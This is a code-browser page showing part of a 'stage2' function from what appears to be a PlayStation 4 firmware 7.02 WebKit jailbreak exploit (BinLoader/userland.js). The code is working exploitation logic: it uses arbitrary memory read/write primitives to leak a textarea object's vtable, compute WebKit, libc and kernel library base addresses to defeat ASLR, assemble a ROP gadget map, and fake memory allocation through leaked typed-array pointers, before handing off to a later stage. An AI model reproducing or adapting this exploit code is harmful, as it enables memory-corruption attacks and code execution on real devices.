MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / stage2

Function stage2

702/BinLoader/userland.js:61–295  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

59var textArea = document.createElement("textarea");
60
61function stage2() {
62 p = window.prim;
63 p.launch_chain = launch_chain;
64 p.malloc = malloc;
65 p.malloc32 = malloc32;
66 p.stringify = stringify;
67 p.readString = readString;
68 p.array_from_address = array_from_address;
69
70 //pointer to vtable address
71 var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
72 //address of vtable
73 var textAreaVtable = p.read8(textAreaVtPtr);
74 //use address of 1st entry (in .text) to calculate webkitbase
75 webKitBase = p.read8(textAreaVtable).sub32(OFFSET_WK_vtable_first_element);
76
77 libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
78 libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
79
80 libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
81 libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
82
83 for (var gadget in gadgetmap) {
84 window.gadgets[gadget] = webKitBase.add32(gadgetmap[gadget]);
85 }
86
87 function get_jmptgt(address) {
88 var instr = p.read4(address) & 0xFFFF;
89 var offset = p.read4(address.add32(2));
90 if (instr != 0x25FF) {
91 return 0;
92 }
93 return address.add32(0x6 + offset);
94 }
95
96 function malloc(sz) {
97 var backing = new Uint8Array(0x10000 + sz);
98 window.nogc.push(backing);
99 var ptr = p.read8(p.leakval(backing).add32(0x10));
100 ptr.backing = backing;
101 return ptr;
102 }
103
104 function malloc32(sz) {
105 var backing = new Uint8Array(0x10000 + sz * 4);
106 window.nogc.push(backing);
107 var ptr = p.read8(p.leakval(backing).add32(0x10));
108 ptr.backing = new Uint32Array(backing.buffer);
109 return ptr;
110 }
111
112 function array_from_address(addr, size) {
113 var og_array = new Uint32Array(0x1000);
114 var og_array_i = p.leakval(og_array).add32(0x10);
115
116 p.write8(og_array_i, addr);
117 p.write4(og_array_i.add32(8), size);
118

Callers

nothing calls this directly

Calls 5

get_jmptgtFunction · 0.70
stage3Function · 0.70
read8Method · 0.45
write8Method · 0.45
syscallMethod · 0.45

Tested by

no test coverage detected